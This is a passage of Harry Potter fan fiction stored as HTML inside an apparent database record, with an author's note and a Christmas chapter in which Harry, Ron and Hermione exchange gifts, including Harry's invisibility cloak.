style="text-indent:.5in">&#8220;Well, I <b>suppose</b>.&#8221; She agreed\nreluctantly. &#8220;It would make sense. After all, I read that a person&#8217;s magic\nalways works to heal any magical injury on it&#8217;s own. In fact that&#8217;s what most\nmedical magic is based on, and-&#8220;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;OK!&#8221; Ron interrupted. &#8220;I think we get it. We\ndon&#8217;t need a whole lecture!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled as Hermione&#8217;s face flushed.\nThese times were the memories he needed. Simple fun, teasing friends and no one\nto tell him what a freak he was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- Alright- go ahead and shoot me. I know it\'s been <b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>WAY</u></i></b>\ntoo long since I updated, but on the plus side I\'ve got the next chapter almost\nfinished already, and the moment I think it&#8217;s good enough to be posted, I will\ndo so.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Why did this take sooooooo long? Because I wanted to do a really good\njob on this chapter and I ended up writing the entire thing about seven or\neight times- believe it or not, I\'m <i style="mso-bidi-font-style:normal">still</i>\nnot happy with it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">IMPORTANT: I <i style="mso-bidi-font-style:normal">need</i> advice! I\nreally don\'t think my writing is going too well. I feel like the story is\nflopping around from one thing to another without any flow. I also think that\nI\'m focusing too much on the wrong things. PLEASE help me if you think you can!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">**I may not always tell the truth, but I <i style="mso-bidi-font-style:\nnormal">never</i> tell a lie.</p>\n\n<p class="MsoNormal">Don\'t understand? Basically it means that Harry never says anything\nthat he <i style="mso-bidi-font-style:normal">knows</i> isn\'t true, but suppose\nhe was blind and someone told him that the sky is green. Then Harry might tell\nsomeone else the same thing. He wouldn\'t be lying because he thinks it\'s true,\nbut since it\'s <i style="mso-bidi-font-style:normal">not</i> true he wouldn\'t\nbe telling the truth. I <i style="mso-bidi-font-style:normal">will</i> be\nkeeping Harry like this. If you look carefully, you\'ll see that Harry has never\nlied in this story, nor will he ever. Fortunately there are ways to get around\nsuch a disadvantage. If you still don\'t understand what I\'m talking about (I\nwon\'t be surprised as I SUCK at explanations) then either forget about it, or\ne-mail me for a better explanation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 23, '\n\n\n\n<p class="MsoNormal">AN- This took too long and is too short, and there&#8217;s likely many flaws\nin it, but at least it came faster than the last chapter&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The rest of the day was spent &#8220;jazzing&#8221;, as\nHermione called it. Just lying around the common room talking, playing wizard\nchess (Harry was fascinated by the fact that the pieces could move and talk on\ntheir own), eating more sweets than was really healthy, and &#8211; at Hermione&#8217;s\ninsistence &#8211; scouring their schoolbooks for any mention of Nicolas Flamel.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The following days were spent in much the\nsame manner. Ron just wanting to relax and forget about school and books, while\nHermione insisted that they needed to use the free time while they had it to\nwork on school assignments and to look for any mention of Flamel in the books\nin the library. As a result Harry was often forced to play peacekeeper, forcing\nthe two to learn to compromise.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Sometimes though, Ron and Hermione&#8217;s\nbickering was too much and Harry would go off by himself, letting the two yell\nuntil they tired of the argument.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">While his two friends argued Harry would\nexplore the castle, or spend time in the library, which was even quieter with\nso many students gone. He sometimes met students from other houses in the\nlibrary; most often they were from Ravenclaw and Hufflepuff.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Ravenclaws usually just wanted to be left\nalone with their books, but were more than happy to help the boy-who-lived with\nanything he wanted to know when he asked them intelligent questions.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Hufflepuffs that Harry met there were\nmuch &#8211; <i style="mso-bidi-font-style:normal">warmer</i> people, and would often\noffer their help without being asked, or in the case of some first years, they\nwould ask for Harry&#8217;s help, which he never hesitated to give.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was dismayed to find that nearly every\nSlytherin he saw, with one or two first years being the exceptions, would only\nglare at him, or just ignored him as if he were beneath them. Harry began to\nwonder just why it was that an entire house seemed to be so hostile. After all,\nthe qualities that Slytherins were supposed to have were ambition and\ncleverness, not arrogance and aggression. He didn&#8217;t worry about it much though\nas he wasn&#8217;t in Slytherin.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Although Harry enjoyed talking to students\nfrom the other houses, he preferred spending time with Ron and Hermione, as\nthey were the only ones who never stared at his scar as if it was more\nimportant than Harry himself was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Going to bed on Christmas Eve,\nHarry was looking forward to the feast and all of the food that Hagrid had said\nthe house elves were preparing, but the last thing he was expecting was to get\nany presents. As such it was a great surprise when he woke early in the morning\nand the first thing he saw was a small pile of packages at the foot of his bed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Merry Christmas, Harry.&#8221; Ron mumbled\nsleepily from his bed still rubbing sleep out of his eyes as Harry stared at\nhis presents in confusion.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I- I&#8217;ve got some presents.&#8221; Harry stated.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron snorted.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Well what did you expect?&#8221; he asked, &#8220;\nTurnips?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry paused, wondering if he should tell Ron\nabout the one year, when Grunnings had made a big business deal just before\nChristmas and&#8230;.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt; Naw, Ron would probably just get\nangry&#8230;&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; So &#8211; do we open them right now?&#8221; Harry\nasked, not really knowing what was usual procedure on Christmas morning as the\nDursleys had almost always forced him to stay in his cupboard for most of\nChristmas.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron thought for a moment.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Well, we can open most of them here, but we\nshould probably open the ones we gave each other and the ones from Hermione in\nthe common room with her.&#8221; He decided.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled widely and the two started\nopening their gifts.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Not knowing where else to start, Harry picked\nup the top parcel, which happened to be from Hagrid. Ripping open the thick\nbrown paper he found a simple wooden flute that looked like Hagrid had carved\nit himself. Harry blew lightly across the hole and a pure note filled the room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry would have liked to try actually\nplaying a song, but there were other presents to be opened.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The next present was closer to what Harry\nwould have expected if someone told him he was going to get a present. It was a\nletter from the Dursleys that read: <i>We received your message and enclose\nyour Christmas Present. </i>Signed <i>Mr. and Mrs. Dursley.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Inside the envelope was the only present\nHarry had ever received from the Dursleys &#8211; well, other than that turnip&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; <b>Weird!</b>&#8221; Ron exclaimed as he examined\nthe fifty-pence piece. &#8220; This is <b>money?</b>&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; You can keep it if you&#8217;d like.&#8221; Harry\nmuttered, once again feeling something akin to hate towards the Dursleys, but\nhe mostly felt only contempt for them now. In fact he almost pitied them and\nhow they would never experience the excitement of diversity&#8230; <i>almost.</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry frowned at the remaining presents now.\nNot that he wasn&#8217;t glad to get them, but who else would be sending <i>him</i>\npresents?</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; So those were from Hagrid and the\nDursleys.&#8221; Harry said (he no longer mentioned the fact that they were related\nto him). &#8220; And those two are from me to you and Hermione&#8230;&#8221; he continued placing\ntwo other parcels aside. &#8220; Then who sent me these?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron eyed the other two packages.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I, uh &#8211; I think I know who that one is\nfrom.&#8221; He said, and his face turned a bit pink. &#8220; You see, I told Mum that you\ndidn&#8217;t expect to get any presents and &#8211; oh <b>no!</b>&#8221;</p>\n\n<p class="MsoBodyTextIndent">Ron turned to face Harry, looking\nslightly horrified.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; <i>She&#8217;s made you a &#8211; a </i>Weasley<i>\nsweater&#8482;!</i>&#8221; he whispered, as if it were a death sentence.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry frowned at Ron as he picked up the\ngift.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; What could be so bad about a <b>sweater?</b>&#8221;\nHarry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; If it wasn&#8217;t for Fred and George!&#8221; Ron\nblurted out, &#8220; Then, nothing, but those two always insist that every Weasley at\nthe school wear them for the entire day.&#8221; He shuddered. &#8220; You don&#8217;t want to\nknow what they do if they catch you without it on.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled as he opened the present from\nMrs. Weasley, wondering what prank the twins had pulled on Ron to make him\ndislike the sweaters so much.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Inside the wrapping Harry found a thick,\nhand-knitted, emerald green sweater and a box of homemade fudge.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Every year she makes us a sweater,&#8221; said\nRon, &#8220; and mine&#8217;s <i>always</i> maroon.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; That&#8217;s really very nice of her,&#8221; Harry\nsaid, trying a piece of the fudge &#8220; but why&#8217;d she make <i>me</i> one? I mean, I\nreally appreciate it and all, but &#8211; well I&#8217;m not even related to you, and I&#8217;ve\nonly met your mother briefly.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; If you knew my mum you&#8217;d understand. She\nmay have only met you once, but all of the wizarding world knows &#8211; well, she\nknows what happened to your parents, and when she heard that you weren&#8217;t\nexpecting any presents from &#8216;<i>the Dursleys</i>&#8217; &#8211; &#8220; Ron paused and his smile\nbrightened. &#8220; Well you can expect to be treated like family now, so don&#8217;t let\nher find out if you get in any serious trouble.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry turned to his last present and picked\nit up. It was very light. He unwrapped it and something fluid and silvery grey\nwent slithering to the floor, where it lay in gleaming folds. Ron gasped.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I&#8217;ve heard of those.&#8221; He whispered, setting\ndown a book about magical creatures he&#8217;d gotten from Hagrid. &#8220; If that&#8217;s what I\nthink it is &#8211; they&#8217;re really valuable, and <i>really</i> rare!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry frowned and picked it up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Well what do you think it is?&#8221; he asked as\nhe unfolded the material.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was an odd material. It felt like holding\na piece of warm water that had been woven into cloth.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; It&#8217;s an invisibility cloak!&#8221; gasped Ron, &#8220;\nI&#8217;m sure it is. Try it on!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry tossed it over his shoulders, and Ron\ngave a shout.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I was right! Look down!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry did, and saw nothing. His feet were\ngone, though he could still feel them. He ran over to the mirror. All he saw\nwas his head floating, and staring back at him. He flipped the hood of the cloak\nup and he disappeared from the mirror altogether; however, with the cloak over\nhis head he could now see his feet if he looked down, but he still saw nothing\nwhen he looked in the mirror.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Something fell out.&#8221; Ron reported, looking\nin Harry&#8217;s general direction with a confused look.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry took the cloak off and picked up the\nletter. It was written in a narrow loopy handwriting that he&#8217;d never seen\nbefore.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Your father left this in my possession before\nhe died.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It is time it was returned to you.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Use it well.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A very merry Christmas to you.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">There was no signature on the letter, and\nHarry stood still for a moment staring at it, wondering who had sent it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt; My dad must have really trusted whomever\nsent this.&gt; he thought.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Wow.&#8221; Ron said, interrupting Harry&#8217;s\nthoughts. &#8220; We should go show this to Hermione!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Yeah, we should.&#8221; Harry answered without\nhesitation. &#8220; And then we can give each other our presents as well.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Why don&#8217;t you try out your cloak?&#8221; he asked\nHarry with a wink. &#8220; Give Hermione a Christmas scare!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry just smiled and slipped on the cloak,\ndisappearing once more, along with his presents for Ron and Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron chuckled and grabbed two rather messily\nwrapped packages and headed to the common room. Harry followed silently behind\nhim.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center">&#191;\n&lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Hermione came down to the common\nroom from the girls&#8217; dorm a moment after Ron had sat down, claiming the large\narmchair in front of the fire and smiling smugly at her.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry rolled his eyes at his friend, but\nsmiled. He quickly sat down in the other armchair and waited.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Where&#8217;s Harry?&#8221; Hermione asked as she\nwalked over to the fireplace.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I&#8217;m not really sure,&#8221; Ron replied\ntruthfully, &#8220; but I&#8217;m sure he won&#8217;t be long.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Well, he&#8217;ll have to get his own seat when\nhe gets here then.&#8221; She said with a smirk as she sat down in the armchair.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I&#8217;ve already got one, thanks.&#8221; Harry said\nand wrapped his arms around her as she sat down on his lap.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione shrieked and tried to jump back up,\nbut Harry had pinned her to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As soon as she shrieked Ron had started\nlaughing, and by the time Hermione&#8217;s breathing was back to normal he had\ncollapsed onto the floor and had to drag himself back into his armchair.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Harry?&#8221; Hermione asked in a shaky voice, &#8220;\nDon&#8217;t ever do that again.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She turned to look at him as he loosened his\nhold on her. At least she <i>tried</i> to look at him, and her face actually\nwas quite close to his, but the invisibility cloak did it&#8217;s job perfectly and\nto both her and Ron it looked as though she was sitting on the air above the\nchair rather than on the chair itself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; What&#8230;? Harry?&#8221; she asked, her smile turning\nto a confused frown. &#8220; Why can&#8217;t I see you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt; Books.&gt; Harry thought. &lt; She\nsmells like cinnamon and books.&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Hello? Harry, I know you&#8217;re there now!&#8221;\nHermione called poking his chest (only knowing where to poke because she was\nsitting on him).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Sorry.&#8221; Harry said hastily as he pulled\nback the hood of the cloak.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron nearly fell out of his chair again at the\nlook of absolute surprise on Hermione&#8217;s face when she saw Harry&#8217;s disembodied\nhead.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Someone sent me an invisibility cloak.&#8221;\nHarry explained with a small smile. &#8220; The note said it used to be my dad&#8217;s.\nStand up for sec so I can get this off?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione obliged and Harry pulled the cloak\noff and put it away in a pocket of his robe. Hermione immediately sat back down\nin the armchair, this time forcing Harry over so she could squish down into the\nspace beside him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; What&#8217;re you doing?&#8221; Ron asked Hermione with\nan odd look now that he&#8217;d calmed down. &#8220; There are plenty of other chairs.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Having come from such a large family, and\nhaving spent most of his life forced to share close quarters with them, Ron\ncouldn&#8217;t understand why anyone would want to share a chair when there were many\nother&#8217;s to pick from if you went to the trouble of moving them. On the other\nhand, Hermione was an only child and certainly didn&#8217;t mind, and Harry had spent\nmost of <i>his</i> life in forced isolation, both at the Dursleys&#8217; and at\nschool. Even if Harry didn&#8217;t realize it, he practically <i>craved</i> physical\ncontact other than being punched or kicked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Yes.&#8221; Hermione answered as if she was\ntalking to a very small child, &#8220; but they&#8217;re on the other side of the common\nroom, and the whole point of Christmas is to be <b>together</b> with your\nfriends.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She smiled at Harry as she said &#8216;your\nfriends.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Think fast, Ron!&#8221; Harry said, tossing a\nlong, thin tube to Ron in hopes of ending any argument before it started.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Unfortunately, either Harry&#8217;s aim was off, as\nhe was pressed quite close to Hermione, or Ron just wasn&#8217;t thinking very fast,\nand the end of the tube hit him in the middle of the forehead. Ron winced and\nglared at Harry for a moment, then at Hermione who was trying unsuccessfully to\nstifle a fit of giggles, before chuckling and tossing Harry a small cube, wrapped\nin paper that switched from being red to being green and back again.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; You first, Harry.&#8221; Said Ron, indicating\nthat Harry should open Ron&#8217;s gift.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry pulled off the paper to reveal a plain\nbrown box with the words &#8216;Quality Quidditch Supplies&#8217; stamped on its lid.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry lifted the lid and something white shot\nup to hover an inch over the box. It was a snitch, but it was white and its\nwings seemed to be black rather than clear.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; It&#8217;s a practice snitch.&#8221; Ron explained. &#8220; I\ngot mum to send it when you first made the team.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry grinned at Ron and pushed the ball back\ndown into its box and replaced the lid.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Thanks, Ron. It&#8217;s brilliant. I don&#8217;t know\nwhat to say.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Just promise me you&#8217;ll put in a good word\nfor me when I try out for the team next year.&#8221; He answered. &#8220; Here, Hermione,\nyou next.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron tossed Hermione a package that looked\nsuspiciously like a book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione opened it up and found-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; &#8216;Twenty-One Charms and Spells for Accurate\nNote-Taking&#8217;, by Mark Downing! Thanks so much, Ron!&#8221; Hermione exclaimed with\nobvious delight.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled as he saw her hands twitch. He\ncould tell she couldn&#8217;t wait to start reading the book. His smile faded though\nas Hermione shifted against him. His stomach had started feeling&#8230; well he\ncouldn&#8217;t quite describe how it felt - while he was looking at Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt; I&#8217;ve gotta go see Madame Pomfrey about\nthis.&gt; Harry thought to himself. &lt; My stomach&#8217;s been acting up now and\nagain ever since I came to Hogwarts. Maybe I&#8217;m allergic to some of the magic\naround here. I know Madam Hooch found out that Neville&#8217;s allergic to some of\nthe magic used on the school brooms.&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After finally tearing her eyes from the book,\nHermione handed packages to Ron and Harry. Ron&#8217;s was shaped suspiciously like\nan extra large sized package of Every Flavour Beans, while Harry&#8217;s was\nobviously a book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Go on and open them then.&#8221; She told the two\nexcitedly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry waited for Ron to open his first. As\nHarry had thought it was a large box of Bertie Bott&#8217;s Every Flavour Beans.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; There&#8217;s a temporary bottomless charm on the\nbox so they should last quite a while.&#8221; Hermione informed the grinning Ron. &#8220;\nNow you go, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry quickly pulled the wrappings off of his\npresent to reveal the title, stamped in gold print.</p>\n\n111 Entertaining Charms and Spells, by Wanga Juju\n\n<p class="MsoBodyTextIndent">&#8220; Wow.&#8221; Was all Harry could say.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione smiled happily.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I know you&#8217;re interested in how Ron&#8217;s chess\npieces were made to move and act partly on their own, and I know you like\ncharms class, so I knew it was the perfect book to get you.&#8221; Hermione explained.\n&#8220; I checked and the book explains all about the types of charms used to animate\nthings, and how to perform the charms. It will be interesting to find out\nabout, but I don&#8217;t think you&#8217;d be able to do the charms for a few years yet. I\ncouldn&#8217;t even understand <b>half</b> of what I read in that part.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione sounded rather vexed that she was\nunable to understand something that was written in a book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Thanks, Hermione.&#8221; Said Harry, smiling. &#8220; I\ncan&#8217;t wait to read it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione smiled and gave him a hug.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; You&#8217;re welcome.&#8221; She said.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry turned to Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Now it&#8217;s your turn.&#8221; He told him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron smiled and started tearing paper away to\nexpose a cardboard tube.&nbsp; He looked in\none end of the tube then reached in and pulled out what was obviously a rolled\nup poster. Ron unrolled it to reveal a Chudley Cannons poster.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Thanks, Harry.&#8221; He said. &#8220; But I&#8217;ve already\ngot this one.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I know. I asked Fred and George.&#8221; Harry\nsaid. &#8220; I got copies of all of the posters the twins said you had in your room\nand got the owner of the store to combine them. You kept complaining that there\nwasn&#8217;t enough room in the dorm to put up all of your posters so I got this one\nthat will switch between all of the posters that were combined to make it. I\nfigure it&#8217;s the next best thing to having all of your posters from your room at\nhome.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Hermione looked back at the poster\nand sure enough there was a different scene on the poster.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron laughed in delight.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Wow! It&#8217;s great! Thanks, Harry!&#8221; he\nexclaimed. &#8220; I didn&#8217;t know you could do that with these.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I&#8217;m glad you like it.&#8221; Harry said. &#8220; Here,\nHermione. This one&#8217;s yours.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione took the offered package from Harry\nand turned it over curiously. The parcel was wrapped in the same brown paper\nthat Harry&#8217;s gift from Hagrid had been. It wasn&#8217;t very big, about the same size\nand shape of a small novel, but it was obviously not a book.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione didn&#8217;t waste any more time trying to\nfigure out what Harry might have got for her and she ripped off the paper and\nopened the plain box, removing the gift inside. Unfortunately this didn&#8217;t\nrelieve her curiosity.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Uh&#8230; Thanks, Harry, but &#8211; what <b>is </b>it?&#8221;\nshe asked, holding up some sort of leather gauntlet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry grinned at the looks on Ron and\nHermione&#8217;s faces. He hadn&#8217;t actually expected them to know what it was. After\nall they were still first years and weren&#8217;t used to having to carry their wands\nwith them at all times.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; It&#8217;s for your wand.&#8221; Harry told them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They looked at Harry, then back at the\ngauntlet that Hermione was trying to fit on her forearm, but the confusion\nnever left their faces.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled and rolled up the left sleeve of\nhis green Weasley Sweater&#8482; to reveal an identical gauntlet except that his was\nproperly secured and his wand was sticking out of it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; It&#8217;s a lot like the one I have for my\nknife.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; You have one for your knife?&#8221; Hermione\nasked in surprise.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Sure, right here.&#8221; He answered and rolled\nup the right sleeve.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry&#8217;s knife was held in a similar gauntlet,\nexcept that the leather that covered the top of his arm had a piece of fine\nsteel mail over it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Do you always have that on?&#8221; Ron asked. &#8220;\nI&#8217;ve never noticed it before.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry shrugged.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Well I take it off to shower and when I\nsleep, but that&#8217;s it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Huh, I <b>did </b>wonder what happened to\nyour knife. Professor Dumbledore is letting you keep it then?&#8221; Hermione asked,\nstill trying to fix the wand-sheath on her arm and Harry nodded.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Now that I think of it I&#8217;ve never seen you\ncarrying your wand to class either.&#8221; Said Ron, &#8220; I guess that&#8217;s why.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione let out a sigh of frustration then\nthrust her arm at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Show me how to put this on.&#8221; She told him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled and obliged, showing her also\nhow to put her wand in so that it wouldn&#8217;t fall out when she swung her arms\nwhile walking.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; I figured that you would like this since\nyou&#8217;re always practising our spells and you usually have your wand with you.&#8221;\nHarry said to her as he tugged a strap into place. &#8220; There you go, all set.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione flexed her wrist, turning it this\nway and that and smiling.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Thanks, Harry.&#8221; She said. &#8220; I didn&#8217;t like\nhaving to carry my wand everywhere I go, but don&#8217;t yours get annoying or\nanything? I mean, you have them on all day.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; Not really.&#8221; Harry smiled. &#8220; The inside of\nthe leather gets pretty soft after you wear it for a day or so.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron 